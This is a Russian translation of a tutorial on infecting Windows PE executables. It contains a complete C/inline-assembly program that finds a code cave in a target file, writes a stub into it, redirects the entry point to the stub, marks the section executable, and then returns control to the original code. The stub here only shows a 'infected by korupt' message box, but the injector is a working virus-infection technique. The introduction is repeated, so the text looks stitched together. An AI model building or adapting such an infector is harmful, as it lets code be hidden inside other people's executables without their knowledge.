Заражение PE файлов - тема, которую я всегда считал сомнительной. Изучая ее, я всегда упускал некоторые части пазла… В этой статье я попытаюсь прояснить этот вопрос и надеюсь, что она станет хорошей отправной точкой для тех, кто хочет узнать, как работают PE инфекторы.
Хочу отметить, что я пишу эту статью с намерением обучить других. Вы можете начать свою деятельность с заражения PE файлов, но в конце концов я надеюсь, что вы перейдете к написанию средств защиты PE файлов и будете использовать полученные знания в позитивном и этическом ключе. Многому можно научиться в процессе разработки и внедрения таких инструментов.
В большинстве своем я буду использовать язык Си и встроенный язык ассемблера и подразумеваю, что вы имеете как минимум опыт использования Си/языка ассемблера.
Во-первых, что такое PE файл? Вы можете прочитать об этом по следующей ссылке: Portable_Executable
Во-вторых, что такое ‘заражение PE файлов’?
По моему мнению, заражение PE файлов — это просто метод добавления кода (вредоносного) в скомпилированный исполняемый файл, с сохранением прежней функциональности (это значит он должен работать так, как будто его не меняли).
Конечно, чтобы заразить PE файл мы должны знать его структуру. Существует множество документов, описывающих ее. Я рекомендую вам взглянуть на следующие перед тем, как продолжите читать дальше:
Я не указал заголовок DOS, но это не так критично. Я не ставлю тут цель рассказать о внутренностях PE формата.
Внутри IMAGE_OPTIONAL_HEADER у нас лежат указатели на различные каталоги данных. Эти каталоги обычно указывают, среди прочего, на таблицы Import и Relocation. Мы должны сохранить или перестроить эти каталоги сами, если хотим их уничтожить… Например, если вы шифруете секцию, которая содержит данные одной из директорий.
Основная идея заражения PE - в начале вставить наш код в свободное место, поменять оригинальную точку входа, чтобы она указывала на наш код, выполнить его, и затем прыгнуть на оригинальную точку входа, чтобы PE работал так, как будто и не существовало нашего кода.
Псевдокод этого алгоритма будет выглядеть так:
Теперь давайте начнем реализовывать наш псевдокод…
Нам надо открыть файл и смаппить его (это упростит модификацию). Я не буду объяснять, что делает каждый вызов API, в этом вам поможет MSDN.
Следующий кусок кода показывает, как это делается:
Код выше объясняет всю суть способа…
Автор метода - KOrUPt http://korupt.co.uk
автор перевода https://www.orderofsixangles.com/translations/2020/06/09/detailed-guide-to-pe-infection.html
Хочу отметить, что я пишу эту статью с намерением обучить других. Вы можете начать свою деятельность с заражения PE файлов, но в конце концов я надеюсь, что вы перейдете к написанию средств защиты PE файлов и будете использовать полученные знания в позитивном и этическом ключе. Многому можно научиться в процессе разработки и внедрения таких инструментов.
В большинстве своем я буду использовать язык Си и встроенный язык ассемблера и подразумеваю, что вы имеете как минимум опыт использования Си/языка ассемблера.
Во-первых, что такое PE файл? Вы можете прочитать об этом по следующей ссылке: Portable_Executable
Во-вторых, что такое ‘заражение PE файлов’?
По моему мнению, заражение PE файлов — это просто метод добавления кода (вредоносного) в скомпилированный исполняемый файл, с сохранением прежней функциональности (это значит он должен работать так, как будто его не меняли).
Конечно, чтобы заразить PE файл мы должны знать его структуру. Существует множество документов, описывающих ее. Я рекомендую вам взглянуть на следующие перед тем, как продолжите читать дальше:
- PECOFF
- An In-Depth Look into the Win32 Portable Executable File Format, Part 1
- An In-Depth Look into the Win32 Portable Executable File Format, Part 2
Код:
[MZ Header]
[MZ Signature]
[PE Headers]
[PE Signature]
[IMAGE_FILE_HEADER] [IMAGE_OPTIONAL_HEADER]
[Section Table]
[Section 1] [Section 2] [Section n]
Я не указал заголовок DOS, но это не так критично. Я не ставлю тут цель рассказать о внутренностях PE формата.
Внутри IMAGE_OPTIONAL_HEADER у нас лежат указатели на различные каталоги данных. Эти каталоги обычно указывают, среди прочего, на таблицы Import и Relocation. Мы должны сохранить или перестроить эти каталоги сами, если хотим их уничтожить… Например, если вы шифруете секцию, которая содержит данные одной из директорий.
Основная идея заражения PE - в начале вставить наш код в свободное место, поменять оригинальную точку входа, чтобы она указывала на наш код, выполнить его, и затем прыгнуть на оригинальную точку входа, чтобы PE работал так, как будто и не существовало нашего кода.
Псевдокод этого алгоритма будет выглядеть так:
- Открываем целевой файл
- Проверяем наличие сигнатур MZ и PE
- Ищем последовательность NULL байтов, от начала последней секции
- Пишем наш код в найденное свободное место
- Изменяем текущую точку входа на адрес нашего кода
- Закрываем целевой файл
Теперь давайте начнем реализовывать наш псевдокод…
Нам надо открыть файл и смаппить его (это упростит модификацию). Я не буду объяснять, что делает каждый вызов API, в этом вам поможет MSDN.
Следующий кусок кода показывает, как это делается:
C:
// PE Infecter by KOrUPt @ http://KOrUPt.co.uk
// fixed for mingw by sekio
#include <windows.h>
#include <stdio.h>
// fucking gcc wont let us use __declspec(naked)
// so we have to fudge around this with assembler hacks
void realStubStart();
void realStubEnd();
void StubStart()
{
__asm__(
".intel_syntax noprefix\n" // att syntax sucks
".globl _realStubStart\n"
"_realStubStart:\n\t" // _realStubStart is global --^
"pusha\n\t" // preserve our thread context
"call GetBasePointer\n"
"GetBasePointer:\n\t"
"pop ebp\n\t"
"sub ebp, offset GetBasePointer\n\t" // delta offset trick. Think relative...
"push 0\n\t"
"lea eax, [ebp+szTitle]\n\t"
"push eax\n\t"
"lea eax, [ebp+szText]\n\t"
"push eax\n\t"
"push 0\n\t"
"mov eax, 0xCCCCCCCC\n\t"
"call eax\n\t"
"popa\n\t" // restore our thread context
"push 0xCCCCCCCC\n\t" // push address of orignal entrypoint(place holder)
"ret\n" // retn used as jmp
// i dont know about you but i like GCC;'s method of strings
// over MSVC :P
"szTitle: .string \"o hi\"\n"
"szText: .string \"infected by korupt\"\n"
".globl _realStubEnd\n"
"_realStubEnd:\n\t"
".att_syntax\n" // fix so the rest of gcc doesnt burp
);
}
// By Napalm
DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
{
WORD wSections;
PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
for (wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++)
{
if (dwFileAddr >= lpSecHdr->PointerToRawData)
{
if (dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData))
{
dwFileAddr -= lpSecHdr->PointerToRawData;
dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
return dwFileAddr;
}
}
lpSecHdr++;
}
return NULL;
}
int main(int argc, char* argv[])
{
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSection, pSectionHeader;
HANDLE hFile, hFileMap;
HMODULE hUser32;
LPBYTE hMap;
int i = 0, charcounter = 0;
DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
unsigned char *stub;
// work out stub size
DWORD start = (DWORD)realStubStart;
DWORD end = (DWORD)realStubEnd;
DWORD stubLength = (end - start);
if (argc != 2)
{
printf("Usage: %s [file]\n", argv[0]);
return 0;
}
// map file
hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("[-] Cannot open %s\n", argv[1]);
return 0;
}
fsize = GetFileSize(hFile, 0);
if (!fsize)
{
printf("[-] Could not get files size\n");
CloseHandle(hFile);
return 0;
}
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
if (!hFileMap)
{
printf("[-] CreateFileMapping failed\n");
CloseHandle(hFile);
return 0;
}
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
if (!hMap)
{
printf("[-] MapViewOfFile failed\n");
CloseHandle(hFileMap);
CloseHandle(hFile);
return 0;
}
// check signatures
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("[-] DOS signature not found\n");
goto cleanup;
}
pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
printf("[-] NT signature not found\n");
goto cleanup;
}
// korupt you need to tdo this more often fuck argh
if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386)
{
printf("[-] Not an i386 executable\n");
goto cleanup;
}
// get last section's header...
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
pSection = pSectionHeader;
pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
// save entrypoint
oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
// locate free space
i = pSection->PointerToRawData;
for (; i != fsize; i++)
{
if ((char *)hMap[i] == 0x00)
{
if (charcounter++ == stubLength + 24)
{
printf("[+] Code cave located @ 0x%08lX\n", i);
writeOffset = i;
}
}
else charcounter = 0;
}
if (charcounter == 0 || writeOffset == 0)
{
printf("[-] Could not locate a big enough code cave\n");
goto cleanup;
}
writeOffset -= stubLength;
stub = (unsigned char *)malloc(stubLength + 1);
if (!stub)
{
printf("[-] Error allocating sufficent memory for code\n");
goto cleanup;
}
// copy stub into a buffer
memcpy(stub, realStubStart, stubLength);
// locate offsets of place holders in code
for (i = 0, charcounter = 0; i != stubLength; i++)
{
if (stub[i] == 0xCC)
{
charcounter++;
if (charcounter == 4 && callOffset == 0)
callOffset = i - 3;
else if (charcounter == 4 && oepOffset == 0)
oepOffset = i - 3;
}
else charcounter = 0;
}
// check they're valid
if (oepOffset == 0 || callOffset == 0)
{
free(stub);
goto cleanup;
}
hUser32 = LoadLibrary("User32.dll");
if (!hUser32)
{
free(stub);
printf("[-] Could not load User32.dll");
goto cleanup;
}
// fill in place holders
*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
FreeLibrary(hUser32);
// write stub
memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
// set entrypoint
pNtHeaders->OptionalHeader.AddressOfEntryPoint =
FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
// set section size
pSection->Misc.VirtualSize += stubLength;
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
// cleanup
printf("[+] Stub written!!\n[*] Cleaning up\n");
free(stub);
cleanup:
FlushViewOfFile(hMap, 0);
UnmapViewOfFile(hMap);
SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
CloseHandle(hFileMap);
CloseHandle(hFile);
return 0;
}
Автор метода - KOrUPt http://korupt.co.uk
автор перевода https://www.orderofsixangles.com/translations/2020/06/09/detailed-guide-to-pe-infection.html